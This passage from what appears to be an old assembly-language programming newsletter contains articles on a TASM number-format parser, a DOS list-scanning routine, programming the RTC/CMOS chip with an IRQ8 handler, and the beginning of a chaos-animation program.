hexadecimal integer (does not require leading zero) 0XA hexadecimal integer $A hexadecimal integer 12Q octal integer 12O octal integer 10F float 10.0 float 10.0F float 1.0E+1F float 1.E+1 float The string is required to have all letters (hex digits, number type specifiers) uppercase. If a number is to contain lowercase letters, it has to be converted before calling the function. The function returns in eax number type: - 0 if the number is invalid, - 1 if the number is a dword integer, - 2 if the number is a qword integer and - 3 if the number is a float. The number is returned in edx (dword), ecx:edx (qword) or st(0) (float). The number will be a qword integer if it exceedes 0xFFFFFFFF boundary. Also notice that the number is assumed to be positive, '-' before the number is not accepted and has to be handled externally. Floating point conversion is done using multiplication, not by means of fbld instruction. This is because fbld instruction limits numbers to 19 characters, but the function can accept longer numbers if only they are not too large/small. And here is the function. It was written (and tested) in TASM's ideal mode, but it can be easily ported to MASM or NASM. The function preserves all registers but eax, ecx and edx, which are used for return value. ; This helper macro checks if there was an error on the fpu macro chkfpu _endinglabel fxam fstsw ax sahf jc _endinglabel endm proc ConvertNumber uses edi ;---------------- Identify number format ; Search for 0 at the end mov edi, esi or ecx, -1 xor eax, eax cld repne scasb ; Move to the last character dec edi dec edi ; Is there anything ? cmp esi, edi ja __invalid ; Identify C-style and Pascal-style hexadecimals cmp [byte esi+1], 'X' je __c_hex cmp [byte esi], '$' je __pas_hex ; Identify other types using the last character movzx eax, [byte edi] cmp eax, 'H' je __asm_hex cmp eax, 'B' je __binary cmp eax, 'D' je __decimal cmp eax, 'Q' je __octal cmp eax, 'O' je __octal cmp eax, 'F' je __float_clr ; Find a comma (distinguish between integer and float) not ecx dec ecx mov eax, '.' mov edi, esi repne scasb je __float ;---------------- Process decimal integer ; Prepare __decimal: mov [byte edi], 0 mov edi, esi xor eax, eax ; Get a digit __next_decimal: movzx ecx, [byte edi] inc edi xor edx, edx ; Zero ends the string test ecx, ecx jz __finito ; Multiply the already loaded part by ten add edx, 10 mul edx ; If an overflow occurs - the number is a quadword jo __decimal_qword ; Check digit validity sub ecx, '0' jc __invalid cmp ecx, 9 ja __invalid ; Add the digit add eax, ecx ; Next digit or process a quadword if carry occurs jnc __next_decimal jmp __decimal_carry ;---------------- Decimal (appears to be greater than 0FFFF_FFFFh) ; Check digit validity __decimal_qword: sub ecx, '0' jc __invalid cmp ecx, 9 ja __invalid ; Add the digit (qword addition) add eax, ecx __decimal_carry: adc edx, 0 ; Load next digit movzx ecx, [byte edi] inc edi ; Check for ending zero test ecx, ecx jz __finito ; Multiply high part by 10 push eax mov eax, edx mov edx, 10 mul edx ; Number too large if an overflow occurs jo __decimal_overflow ; Multiply low part by 10 xchg eax, [esp] mov edx, 10 mul edx ; Join high parts add edx, [esp] ; Number too large if carry jc __decimal_overflow ; Next digit add esp, 4 jmp __decimal_qword ; Handle overflow __decimal_overflow: pop eax jmp __invalid ;---------------- Process hexadecimal integer ; Was Pascal-style hex (leading '$') __pas_hex: lea edi, [esi+1] jmp __hex ; Was C-style hex (leading '0X') __c_hex: cmp [byte esi], '0' jne __invalid lea edi, [esi+2] jmp __hex ; Was asm-style hex (ending with 'H') __asm_hex: mov [byte edi], 0 mov edi, esi ; Clear what will become the number __hex: xor eax, eax xor edx, edx ; Get a digit __get_hex: movzx ecx, [byte edi] inc edi ; Zero ends the string test ecx, ecx jz __finito ; Number too large if the most significant nibble of edx ; is nonzero cmp edx, 0FFFFFFFh ja __invalid ; Multiply the already converted part by 16 shld edx, eax, 4 add eax, eax ; to avoid shift (see lea below) ; Convert ASCII to digit sub ecx, '0' jc __invalid cmp ecx, 9 jna __hex_ok sub ecx, 7 cmp ecx, 9 jna __invalid cmp ecx, 15 ja __invalid ; Add the digit __hex_ok: lea eax, [eax*8+ecx] jmp __get_hex ;---------------- Return integer __finito: mov ecx, edx mov edx, eax cmp ecx, 1 sbb eax, eax add eax, 2 ret ;---------------- Process binary integer ; Prepare __binary: mov [byte edi], 0 xor eax, eax xor edx, edx mov edi, esi ; Get a digit __get_binary: movzx ecx, [byte edi] inc edi ; Zero ends the string test ecx, ecx jz __finito ; Shift everything left and add the digit shr ecx, 1 adc eax, eax adc edx, edx jc __invalid ; Check digit validity and get next digit if OK cmp ecx, '0' shr 1 jne __invalid jmp __get_binary ;---------------- Process octal integer ; Prepare __octal: mov [byte edi], 0 xor eax, eax xor edx, edx mov edi, esi ; Get a digit __get_octal: movzx ecx, [byte edi] inc edi ; Zero ends the string test ecx, ecx jz __finito ; Check if there is a room for another digit cmp edx, 1FFFFFFFh ja __invalid ; Multiply the already converted part by 8 shld edx, eax, 3 ; Convert ASCII to number sub ecx, '0' jc __invalid cmp ecx, 7 ja __invalid ; Add the digit lea eax, [eax*8+ecx] jmp __get_octal ;---------------- Invalid number __invalid: fninit xor eax, eax ret ;---------------- Process integer part of a float ; Prepare (st0=0, st1=10) __float_clr: mov [byte edi], 0 __float: finit push 0300h ; mask off all interrupts fldcw [word esp] push 10 fild [dword esp] add esp, 8 fldz mov edi, esi ; Get a digit __get_integer: movzx ecx, [byte edi] inc edi ; Zero ends the string test ecx, ecx jz __float_ready ; Comma starts fraction part cmp ecx, '.' je __float_fraction ; Multiply the already converted part by 10 fmul st, st(1) chkfpu __invalid ; Convert ASCII to number sub ecx, '0' jc __invalid cmp ecx, 9 ja __invalid ; Add the digit push ecx fiadd [dword esp] add esp, 4 chkfpu __invalid jmp __get_integer ;---------------- Process fractional part of a float ; Prepare (st0=0, st1=1, st2=num, st3=10) __float_fraction: fld1 fldz ; Get a digit __get_fraction: movzx ecx, [byte edi] inc edi ; Zero ends the string test ecx, ecx jz __fraction_ready ; E starts exponent cmp ecx, 'E' je __fraction_ready ; Multiply the already converted part by 10 fmul st, st(3) ; Multiply the divisor by 10 fxch st(1) fmul st, st(3) fxch st(1) chkfpu __invalid fxch st(1) chkfpu __invalid fxch st(1) ; Convert ASCII to number sub ecx, '0' jc __invalid cmp ecx, 9 ja __invalid ; Add the digit push ecx fiadd [dword esp] add esp, 4 chkfpu __invalid jmp __get_fraction ;---------------- Process exponent part of a float ; Divide the fraction by the divisor __fraction_ready: fdivrp st(1), st ; Add fraction to integer faddp st(1), st ; E indicates start of exponent cmp ecx, 'E' jne __float_ready ; Prepare (st0=0, st1=num, st2=10) fldz ; Sign of the exponent xor edx, edx cmp [byte edi], '-' jne __no_minus not edx inc edi __no_minus: cmp [byte edi], '+' jne __get_exponent inc edi ; Get a digit __get_exponent: movzx ecx, [byte edi] inc edi ; Zero ends the string test ecx, ecx jz __exponent_ready ; Multiply the already converted part by 10 fmul st, st(2) chkfpu __invalid ; Convert ASCII to number sub ecx, '0' jc __invalid cmp ecx, 9 ja __invalid ; Add the digit push ecx fiadd [dword esp] add esp, 4 chkfpu __invalid jmp __get_exponent ; Multiply by 10**exp (** is a power operation) __exponent_ready: test edx, edx jz __positive_exp fchs __positive_exp: fldl2t;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿10**x = 2**(x*log2(10)) fmulp st(1), st ;³ fld st ;³ frndint ;³ fsub st(1), st ;³ fld1 ;³ fscale ;³ fstp st(1) ;³ fxch st(1) ;³ f2xm1 ;³ fld1 ;³ faddp st(1), st ;³ fmulp st(1), st;ÄÄÄÄÄÄÄÙ fmulp st(1), st ; Return float __float_ready: chkfpu __invalid fstp st(1) mov eax, 3 ret endp And that is it. The function is not meant to work as fast possible and was not optimized, but it does the task it has to do. ::/ \::::::. :/___\:::::::. /| \::::::::. :| _/\:::::::::. :| _|\ \::::::::::. :::\_____\:::::::::::...........................................FEATURE.ARTICLE List Scan Library Routine by Laura Fairhead Firstly let me introduce an auxillary routine this uses. It is called 'scaws' and scans past white space. It is very simple, and the definition of whitespace here is SPACE (020h) or TAB (09h):- ========START OF CODE====================================================== ; ;scaws- scan whitespace ; ;entry: DS:SI=string ; DF=0 ; ;exit: SI=updated to first non-whitespace character ; AL=value of the character ; scaws PROC NEAR ; ;there is nothing to explain here but you might take note now ;that I always use the same label names in different PROC blocks, ;in MASM you can do this with OPTION SCOPED ; lop: LODSB CMP AL,020h JZ lop CMP AL,09h JZ lop DEC SI RET scaws ENDP ========END OF CODE======================================================== 'scalst' is basically a routine to scan-convert a list which can consist of values and strings. The radix of the values must be set before hand by calling 'scanur' as the routine uses 'scanu' to convert values and doesn't set the radix itself. The syntax of the list is almost the same as the list in DEBUG, where in fact I got the idea from. You have from 0+ data items, optionally seperated by commas. Whitespace can be used freely as a delimitor and no delimitors are necessary where there is no need for them (eg: between a value and a string). The routine takes several parameters, the address of your string (DS:SI), the address of somewhere to store the converted data (ES:DI), the size of the data store (CX) and the size of a unit (AL). The unit size can be byte (AL=1), word (AL=2), dword (AL=4). Each data item, as in value/string character, is zero-padded to the unit size for storing. Also values are checked that they are in range for the unit size. This method therefore allows us to have those silly word strings. Here are some examples, all of these assume that we had set the radix = 010h (by calling 'scanur' with AL=010h) :- Calling with AL=1, and our string=1 2 3 "ABC" yields:- 01 02 03 41 42 43 Calling with AL=4, and our string="0"1FE08 2 yields:- 30 00 00 00 08 FE 01 00 02 00 00 00 Calling with AL=2, and our string=9A06 87"DEF" yields:- 06 9A 87 00 44 00 45 00 46 00 Calling with AL=2, and our string="ABC"FE0FE 0 1 2 yields:- ERROR! CF=1 (FE0FE>FFFF) A particularly powerful feature of this routine is that it takes a parameter giving the size of your data store (in bytes). This means that it will be impossible for the program to be crashed because there was too much data. Programmers are generally too lazy to do this sort of range checking, and much to their woe as one particularly wily hacker attack called 'crashing the stack' has taught. Example; if we called with AL=2, CX=4 and string=1 9 F ERROR! CF=1 (01 00 09 00 0F 00 > 4bytes) As an aside, the function is not entirely the same as DEBUG's list scanner. With DEBUG the strings are always converted to byte lists, no matter what the unit size is. It is trivial to modify the routine to work in this way. One last note is that the end of the list is the first invalid character in the string, this not being an error of course since it is the responsibilty of the controlling parser to decide this based on the context; eg: DEBUG might check for a semicolon comment on the end of the line, though as a matter of fact it doesn't. A premature ending (ie: 0 byte appearing inside the quotes of a string token) will abort with error, thus; AL=1, string=0A 98"unterminated string yields:- ERROR! CF=1 (unterminated string) ========START OF CODE====================================================== ; ;scalst- data list scan/convert routine ; ;entry: DS:SI=string ; ES:DI=store ; CX=#bytes size of store ; AL=unit size (1=byte,2=word,4=dword) ; DF=0 ; ; "scanur" must have been called at least once previously ; in order to set the radix of scanned values ; ; !! entry parameters are not validated and invalid entry ; !! parameters will cause undefined behaviour ; ;exit: CF=1=>error (parse/overflow) ; CF=0=>okay, then: ; ZF=1=>no data scanned, ie: CX=0 ; ZF=0=>data scanned ; SI=updated to the first invalid character ; DI=updated to the end of converted data + 1 ; CX=#bytes converted data (invalid on overflow error) ; ;note: requires routines "scaws" and "scanu" ; scalst PROC NEAR ; ;initialise stack frame ;[BP-4] (dw) size mask ; =000000FFh for unit size 1 ; =0000FFFFh for unit size 2 ; =FFFFFFFFh for unit size 4 ;[BP-6] (w) unit size ;[BP-8] (w) original data offset DI ; ;EAX is preserved and the main loop is entered ; ENTER 8,0 PUSH EAX CBW MOV [BP-6],AX NEG AL AND AL,3 SHL AL,3 PUSH CX XCHG CX,AX OR EAX,-1 SHR EAX,CL POP CX MOV [BP-4],EAX MOV [BP-8],DI JMP SHORT inlop ; ;main loop head ; ignore any whitespace and skip the optional comma ; lop: CALL NEAR PTR scaws CMP BYTE PTR [SI],',' JNZ SHORT ko INC SI ; ;main loop entry ; ignore any whitespace and if a value token is recognised ; write it to data store and continue loop ; inlop: CALL NEAR PTR scaws ko: CALL NEAR PTR scanu JC SHORT don JZ SHORT ko2 ; ; check that the value is in range for the unit size, if not ; abort here with an error ; CMP [BP-4],EAX JC SHORT don CALL NEAR PTR wracc JMP lop ; ; no value was present so check for a string ; ko2: CMP BYTE PTR [SI],022h CLC JNZ SHORT don ; ; get string into data store ; INC SI XOR EAX,EAX lop1: MOV AL,[SI] ; ; unterminated string causes an error abort, LODSB is not used for the ;load in order to ensure that [SI] will point to the invalid character ; CMP AL,1 JC SHORT don INC SI CMP AL,022h JZ lop CALL NEAR PTR wracc JMP lop1 ; ; exit point for 'wracc' routine below, clean-up the stack ; err0: POP EAX ; ; main exit point. the carry flag is preserved as this is used ; for both error and normal exits. the number of bytes stored ; is calculated into CX, the INC/DEC ensuring ZF=1 if this was zero ; don: LAHF MOV CX,DI SUB CX,[BP-8] SAHF INC CX DEC CX ; ; restore the only corrupted register and 'LEAVE' ; POP EAX LEAVE RET ; ;wracc- write datum in accumalator to data store ; AL/AX/EAX is written to the data store depending on the unit size. ; throughout the routine DI is the offset into the data store and ; CX is the #bytes left in it. these are updated but if there are ; insufficient bytes remaining in the store we abort with error, taking ; care to clear the 4 bytes (AX + return address) off the stack first ; wracc: PUSH AX MOV AX,[BP-6] SUB CX,AX JC err0 CMP AL,2 POP AX JZ SHORT ko0 JNS SHORT ko1 STOSB RET ; ; note that 066h STOSW = STOSD ; ko1: DB 066h ko0: STOSW RET scalst ENDP ========END OF CODE======================================================== ::/ \::::::. :/___\:::::::. /| \::::::::. :| _/\:::::::::. :| _|\ \::::::::::. :::\_____\:::::::::::...........................................FEATURE.ARTICLE Using the RTC by Jan Verhoeven Here are some routines to use the RTC/CMOS chip for serious timing. It's an introductory tutorial, so you'll be given more than enough opportunity to experiment with timing via this method. About the hardware. =================== The RTC chip used to be a Motorola MC 146818A chip, but nowadays you will either find a Dallas 1287 or 1387 style chip, or it is embedded in the chipset. So far for romance... :o) I will describe the Dallas DS 1287 since this is the configuration which is most common for many years now, and the majority of the features are the same as for the other chips. The DS 1287 is a clock/RAM with a Lithium battery inside the package. That's why it stays so big: the battery needs space. If the system is powered on, the RTC gets its power from the powersupply. When the PC is off, the RTC goes into power-down mode and slowly drains the Lithium cell. Expected life for the battery is around 10 years. The DS 1287 has 64 storage locations, 14 of which are clock and control registers and the remaining 50 are battery-backed general purpose RAM cells. This is were the CMOS setup of your PC stores it's system setup data. The programmable clock can issue an interrupt, which can be triggered by three independent events: time of day, periodic signal or end of clock- update. The 14 registers inside the DS 1287 are: address purpose ------- --------------------------------------- 0 current value of seconds 1 alarm setting for seconds 2 current value of minutes 3 alarm setting for minutes 4 current value of hours 5 alarm setting for hours 6 Day of the week [Sunday = 1] 7 Day of the month 8 month [0..12] 9 year of this century [0..99] 10 Control register A 11 Control register B 12 Control register C [read-only] 13 Control register D [read-only] If you want to know the time of day, or any other date related data, just select the RTC chip and request the contents of the desired register. The alarm registers can be set to generate long-time periodical interrupts, or for having the chip give a signal when it's time for your nap. The alarm rate ranges from seconds to weeks. And since these alarm registers are almost never used, they can also be used for storing some data for your own software. PTS Partition Manager for example uses these registers to keep track of where it was, while reformatting the hard disk. If there is a power-fail, it will just continue where it left off. In the PC, the RTC chip is hidden from the programmer. It can only be accessed in an indirect way. The trick is to first select a register location and then access that one register as follows: mov al, out 70h, al ; select in al, 71h ; for a READ operation out 71h, ah ; for a WRITE operation So, we use port 70h for selecting a register or storage location and use port 71h for doing the actual access to that register. A bit tedious, but that's how the PC was designed in the first place. In "old style" RTC chips the century is maintained in software. It resides in a RAM cell, offset 32h/50d, so it will not be affected by a year-rollover from 99 to 00. If you update it with a short piece of code on January first 2000, your PC will be ready for many, many, moons to come. The control registers. ====================== Registers A, B, C and D are the registers that control the working of the RTC clock. They have various functions and register D uses just a singe bit, which is also read-only.... But this chip is well engineered and all registers have a significant (although not always logical) influence on the operation of it. Register A: Timing control. --------------------------- Register A is layed out as follows: bit function --- ------------------------------------------------------------ 7 UIP bit: Update In Progress. When there's a ONE in this flag the timing registers are being updated and it is not safe to read them. Better to wait until this flag is cleared. This one bit is read-only! 4-6 DV0-DV2: these three bits control the on-chip oscillator. Do not experiment too much with this setting. There is only ONE valid combination for these three bits: 010. 0-3 RS0 - RS3: These are the four Rate Selector bits. They determine how often the IRQ pin is activated. The following table shows the meaning of the different values. RS3 RS2 RS1 RS0 Frequency [Hz] Period [ms] --- --- --- --- -------------- ----------- 0 0 0 0 --- ---- 0 0 0 1 256 3.906 0 0 1 0 128 7.813 0 0 1 1 8192 0.122 0 1 0 0 4096 0.244 0 1 0 1 2048 0.488 0 1 1 0 1024 0.977 0 1 1 1 512 1.953 1 0 0 0 256 3.906 1 0 0 1 128 7.813 1 0 1 0 64 15.625 1 0 1 1 32 31.25 1 1 0 0 16 62.5 1 1 0 1 8 125.0 1 1 1 0 4 250.0 1 1 1 1 2 500.0 The default value in the average IBM PC is 0110 or 1024 Hz. Since no IRQ is enabled, you will not notice any difference if you change the value. Register B: Internal operation control. --------------------------------------- This is the most important register for controling operation of the RTC chip. Register A determines timing and oscillator parameters, but the B- register determines how the system will notice these conditions. In a normal PC, only bit 1 (24/12) is set. All other bits are cleared. bit function --- ------------------------------------------------------------ 7 SET : If you determine to write a ONE in this bit position, the clockregisters will not be updated anymore. Only when this bit is ZERO, the clockregisters will be updated. 6 PIE : The Periodic Interrupt Enable bit controls the IRQ pin. If this bit is ZERO, no IRQ will be given when the programmable frequency source (selected by RS0 - RS3) times out. You need to set this bit to a ONE to enable a periodic IRQ operation. 5 AIE : Alarm Interrupt Enable. When this bit is ONE, the IRQ pin is activated when the alarm-time equals the actual time. 4 UIE : "Update Ended" Interrupt Enable. When this bit is set to ONE, the IRQ line is asserted when the timing registers have changed contents. 3 SQWE : Put a ONE in this bit to have the programmable interval timer (which is controlled by RS0 - RS3) output a square wave on pin 23 of the chip. Unfortunately this pin 23 is not connected in a PC so for us this bit has no meaning. But if you are man enough to bring pin 23 of the DS 1287 to the outside world, you can use it at will. 2 DM : Data Mode. The timing registers can display their data in two different modes: binary and BCD. In the PC, this bit is always ZERO, meaning that BCD is the desired format. 1 24/12 : Controls if hours are shown in 12 or 24 hours mode. Put a ONE inhere and you have 24 hours in a day. Clear this bit and you end up with two half days of 12 hours each. In the 12-hour mode, bit 7 acts as an AM or PM flag. 0 DSE : Daylight Saving Enabled. Always leave this bit cleared to ZERO. Daylight saving time periods vary worldwide and the dates of change are determined by politicians and not by chipmakers. Unfortunately. Register C: Interrupt sources. ------------------------------ Register C is a status-word only. The bits in this register are read- only and only have menaing AFTER an IRQ was received. Since there is just one IRQ pin on the RTC chip, the IRQ can have three different sources and there's no way to know which one triggered it, unless there was only one source enabled. The bits mean the following: bit function --- ------------------------------------------------------------ 7 IRQF : If this bit is ONE, one of the actual interrupt conditions was enabled and the interrupt condition was met. 6 PF : Periodic interrupt Flag. If this bit is set, the source of this IRQ source was the programmable interval timer. 5 AF : Alarm interrupt Flag. If this bit is set, the alarm condition was the same as the actual date/time. 4 UF : The "Update Ended" interrupt Flag. If this bit is set, the IRQ was issued by an update of the timing registers. Bits 0 - 3 are meaningless and will always be ZERO. Register D: Battery status. --------------------------- On the chip, there is a voltage reference that is constantly being compared to the battery voltage. If the battery voltage drops below the reference voltage, the battery is considered empty and bit 7 will be SET. If bit 7 is a ONE, the battery has been empty for some period of time and hence the data in the timing registers and in the RAM locations MAY have lost their meaning. Bits 0 - 6 have no meaning in this register and will always return a ZERO value. Using the RTC internals. ======================== This, in a nutshell, is what the RTC chip is from the inside. I already explained some lines above how to access the storage locations and the timing registers of the DS 1287. This does not mean that everything will also work the first time. If you need to change a timing value, you must always first disable register updates, even if you make sure that the changes you make to the timing registers will well fit in an RTC timeslot. This means: - access register B and set the SET flag - change the timing registers - access register B and clear the SET flag Remember, there's not much intelligence inside a DS 1287. More recent chips might do more tricks for the programmer, but the old beasties just do as they were told. In order to set the periodic interrupt rate, we use the following code: --- Begin ------------------------------------------- SetPIRate ----- SetPIRate: ; Set Periodic Interrupt Rate mov al, 0A ; ah = rate to set out 070, al mov al, ah out 071, al ; and set it in register A ret ---- End -------------------------------------------- SetPIRate ----- This code is very straightforward. It relies on the fact that (in the IBM PC) the contents of register A are always the same: bit 7 = read-only bits 4 - 6 = 010 bits 0 - 3 = rate selector So, it can set the value of bits 4 - 7 in the calling code. It is not good programming, since we should: - read in the contents of Register A - clear bits 0 - 3 - OR in the new value - write it back to register A Inside the IBM PC. ================== The IRQ pin of the RTC is connected to the Intel 8259 PIC (Programmable Interrupt Controller, although "programmable" is too much honour for this dumbo). In non-XT machines there are two of them, cascaded. This means that the second one is connected to what used to be IRQ2. This gives us a rather stupid PC IRQ priority list: IRQ Priority IRQ Priority --- -------- --- -------- 0 0 8 2 1 1 9 3 2 10 10 4 3 11 11 5 4 12 12 6 5 13 13 7 6 14 14 8 7 15 15 9 A lower number means a higher priority.... The RTC interrupt line is connected to PC-IRQ8. So it comes in third place for being serviced. When enabled! Normally IRQ8 is NOT enabled, so you will first have to settle that with the PIC, which is far from easy to understand. I use the following code to enable and disable the IRQ8 processing. Disabling this interrupt is necessary after your program is unloaded from memory. If you don't do this, the IRQ service routine vector might point to some random code or data in the next program loaded (like Command.Com). ----------------------------------------------------- EnableIRQ8 ---- EnableIRQ8: ; enable IRQ 8 in 8259 push ax in al, 0A1 ; get IRQ mask word and al, not bit 0 out 0A1, al ; enable IRQ 8 pop ax ret ----------------------------------------------------- EnableIRQ8 ---- Easy, isn't it? It took some nights to figure this out, 'cause the Intel databooks are not that clear. I was glad to find some NEC databooks since these shed some more light. In general, for older chips, NEC is a good choice of databooks. They used to second source 80x86 chips for Intel and are still known for their innovations they put into their V20 and V30 chips. The V25, a vastly improved 8088, was contaminated by 8 full banks of 14 registers. Luckily Intel did not copy this. What would a 386 have been with 250 GP registers? Here's the code for disabling IRQ8: --- Begin ------------------------------------------ DisableIRQ8 ---- DisableIRQ8: ; disable IRQ 8 in 8259 push ax in al, 0A1 ; get IRQ mask word or al, bit 0 out 0A1, al ; disable IRQ 8 pop ax ret ---- End ------------------------------------------- DisableIRQ8 ---- Asserting IRQ8 will make the PC generate an INT 70h. So, we need to have an INT 70h handler ready: --- Begin ------------------------------------------ NewIRQ8 -------- L0: mov [IrqCount], ax ; and store it L1: mov al, 020 ; tell stupid PC that IRQ ends here out 020, al ; EOI to original PIC out 0A0, al ; EOI to cascaded PIC pop ds, ax ; restore registers iret ; and get out NewIRQ8: push ax, ds cs mov ds, [DataSeg] ; restore DS mov al, 0C out 070, al in al, 071 ; clear interrupt flags test [Flags], Running ; are we running? jz L1 ; if not, get out test [Flags], FastMode ; Samplerate over 128 Sps? jz >L2 ; if not, scram or [Flags], TimeOut ; else set TimeOut flag jmp L1 L2: mov ax, [IrqCount] ; medium to slow samplerates dec ax ; are we at correct value? jnz L0 ; ... if not, wait some more or [Flags], TimeOut ; ... if so, set TimeOut flag, mov ax, [MaxCount] ; ... reload time constant register jmp L0 ---- End ------------------------------------------- NewIRQ8 -------- I like to do as little as possible in this kind of routines. In this case I set a flag and rely on the abillities of the background program to fork execution based on the state of that flag. I hate the idea of having an INT routine that actually DOES things, but which, for some obscure reason, cannot complete before the next INT comes in. You'll be able to figure out what will happen in most cases. If this routine sets a flag twice, I don't care too much. OK, I loose a sample, but the program keeps running and it will still terminate when I ask it to. This routine: - saves registers on the user-stack - restores correct DS - accesses the FLAGS register in memory - consults these flags and acts upon them - eventually reaches L1 and here an EOI is sent to the PIC's - pops the stored registers from the userstack - returns with an IRET. The PIC needs an EOI to enable lower priority interrupts. And since there are two PIC's in modern PC's, there also must be two EOI's. The following routine will enable the new IRQ8 handler: --- Begin ----------------------------------- EnableNewIRQ8 --------- EnableNewIRQ8: ; program the RTC chip to 1 kSps push ax ; and enable the 8259 PIC, channel 8 mov al, 0C out 070, al in al, 071 ; check register C first mov ah, 00100110xB call SetPIRate ; set PI rate to 1 kSps mov al, 0B out 070, al mov al, 01000010xB ; enable the RTC interrupt pin out 071, al ; and store it in RTC register B call EnableIRQ8 ; enable the 8259 PIController pop ax ret ---- End ------------------------------------ EnableNewIRQ8 --------- And before going back to the OS of your choice, make sure there will be no IRQ8's anymore coming this way: --- Begin ----------------------------------- ResetNewIRQ8 ---------- ResetNewIRQ8: ; restore default values in RTC push ax ; and disable 8259 PIC, channel 8 mov al, 0A out 070, al ; select register A mov al, 00100110xB out 071, al ; and set it back to PC default mov al, 0B out 070, al mov al, 00000010xB ; disable interruptions from RTC chip out 071, al ; via register B call DisableIRQ8 ; handle the PIC pop ax ret ---- End ------------------------------------ ResetNewIRQ8 ---------- In the big program these code fragments are from, I use two timer interrupts: - the RTC timer is used for trigger-timing. When the RTC has set the right flag, the main program will sample the ADC and store the result in a buffer for later processing. - the internal PC klok which generates the 55 ms timing signals is used to set another flag. When this is set, the (DMM style) display is updated. The digital readout is updated about 3 times per second and the bargraph display is updated 18 times per second. Therefore I also need a new IRQ0 handler: ---------------------------------------------------- NewIRQ0 -------- L0: pop ds ; restore register jmp [cs:OldIRQ0] ; and update DOS clock NewIRQ0: push ds ; new timer routine (18,2 Hz) cs mov ds, [DataSeg] ; restore DS test [Flags], Running jz L0 ; if not running, eject! inc [Counter] ; else increment counter, or [Flags], RefrshBar ; indicate "bargraph refresh" test [Counter], 07 ; twice per second, IF Z or [Flags], RefrshDig ; indicate "digits update" jmp L0 ; and get out ---------------------------------------------------- NewIRQ0 -------- This new routine does the following: - check if the DMM is running, - if not, it makes no sense to set any flags, - if running, set the "update bargraph display" flag, - if running, check if it is time to update the digital readout, - restore DS register, - branch to previous IRQ0 handler. In the initialisation routine, common to all my programs, I make sure the right interrupt vectors are stolen: --- Begin ------------------------------------------ Init ----------- init: call SetVars ; init most import variables call PowDown ; make sure ADC is OFF call ClkLo ; prepare ADC for power-up call ChkTime ; measure minimum sample time call MaxSps ; determine maximum sample speed mov ah, 0F int 010 ; determine existing video mode mov [VidMode], al ; store it mov ax, 012 int 010 ; set 640 x 480 graphics mode push es mov ax, 0351C ; get old timervector int 021 mov w [OldIRQ0], bx mov w [OldIRQ0+2], es mov dx, offset NewIRQ0 mov ax, 0251C int 021 ; install new TIMER routine mov ax, 03570 int 021 mov w [OldClock], bx mov w [OldClock+2], es mov dx, offset NewIRQ8 mov ax, 02570 int 021 ; install NewIRQ8 routine call EnableNewIRQ8 ; and get it to work pop es mov ax, 0 int 033 ; init mouse ShowMouse ; this is a macro.... call FillScreen or [Flags], RfrshBar + RefrPara + Upd8Digs call ShowDig call BrScale call Update ret ---- End ------------------------------------------- Init ----------- Not much to explain about this INIT routine I guess. So, on to the EXIT part of the software. Forget this, and the computer will hang on random times afterwards.... --- Begin ------------------------------------------ Exit ----------- exit: call PowDown call ResetNewIRQ8 push ds lds dx, [OldIRQ0] mov ax, 0251C int 021 ; restore timer vector pop ds push ds lds dx, [OldClock] mov ax, 02570 int 021 ; restore realtime clock vector pop ds mov ah, 0 mov al, [VidMode] int 010 ; back to previous screenmode mov ax, 0 int 033 ; reset mouse and -driver mov ax, 04C00 int 021 ; and exit to DOS ---- End ------------------------------------------- Exit ----------- That's all you need to know to get started. The RTC chip has some nice other possibillities. It can be programmed to interrupt each second. Or any other number of seconds. It is a truly versatile chip with many timing functions directly available to systems level programmers. It might be a good idea to seacrh the web for a datasheet. A good starting point will be www.dalsemi.com where PDF files will be available for all DS 1287 style chips. Or else from ftp.dalsemi.com. The latest versions of this chip that I know of is the DS 17887. This has a Y2K compliant clock and over 8K of NV (=Non Volatile) RAM. In the USA Dallas have an Automatic Datasheet FaxBack number: 972 - 371 4441 Have fun exploiting the RTC chip, but be prepared to hit the reset button now and then. Also, make a backup of the CMOS battery-backup RAM onto a floppy disk! You'll have corrupted or erased these data before you know it and it's always a bit of a shock if the system cannot even find the C: drive anymore.... ::/ \::::::. :/___\:::::::. /| \::::::::. :| _/\:::::::::. :| _|\ \::::::::::. :::\_____\:::::::::::...........................................FEATURE.ARTICLE Chaos Animation by Laura Fairhead To assemble this program you are going to require most of the library routines I have so far presented here. You can consider this an example in just how easy it is to write software in assembler if you continue to build and refine a library system. The program probably took me about half an hour of work and most of that was making myself satisfied with the niceness of the code:- ;issue #5 INCLUDE NUCONV.ASM ;issue #6 INCLUDE SCANU.ASM ;issue #7 ;scalst list scanner INCLUDE SCAWS.ASM ;random number generator INCLUDE RAND.ASM ;ASM building blocks INCLUDE PSTR.ASM INCLUDE PSTRCR.ASM INCLUDE PSTRCX.ASM INCLUDE OUTCR.ASM INCLUDE STRLEN.ASM INCLUDE PUTCH.ASM Overview ~~~~~~~~ This is a simple but endearing graphical animation minature that is based on the iterative function:- x' = x*x + y + a y' = b - x Where a,b are constants, x,y are old coordinates and x',y' are the new ones. All values are taken to be in [0,1). That is the operations are all performed modulo 1. If you haven't covered this in mathematics yet it is quite simple, your function mod1 would be:- mod1(x) = x - int(x) This can all be done nicely within the bounds of 32-bit values, simply view the binary point as being just before the MSbit. We only really have 4 values to keep since x',y' are the next x,y. kaa EQU kaera+1 kab EQU kaa+4 kax EQU kab+4 kay EQU kax+4 The EQU's at the program end are defining offsets for uninitialised data that lies in the primary code segment. Here we have kaa<->a, kab<->b, kax<->x, kay<->y ;EAX=x MOV EAX,DWORD PTR DS:[kax] ;EBX=b MOV EBX,DWORD PTR DS:[kab] ;EBX=b-x =y' SUB EBX,EAX ;ECX=y' for later use MOV ECX,EBX ;EBX=y, y'->y (didn't I say XCHG is useful!) XCHG EBX,DWORD PTR DS:[kay] ;EBX=y+a ADD EBX,DWORD PTR DS:[kaa] ;EDX:EAX=x*x ;high dword is the first 32 b.p's.... MUL EAX ;EBX=x*x+y+a =x' (how much of the pattern is due to loss of accuracy here?) ADD EBX,EDX ;x<-x' MOV DWORD PTR DS:[kax],EBX Reasonably efficient, and we come out with the x,y coordinate pair also in EBX,ECX. To jazz things up a little, instead of the basic idea:- (i) set some random x,y,a,b (ii) do our function on the x,y,a,b (iii) plot point on the screen representing x,y (iv) go back to (ii) We implement a "trail". This is basically where we keep a store of the last so many points drawn (remember that classic WORM game??). Then one end is added to and the other is deleted from. Points are all plotted with XOR, especially since doing a second XOR will erase a plotted point (so there is no erase routine). Furthermore for every point, 4-reflections of the point are plotted to the screen. This gives you symmetry for free. The plot routine 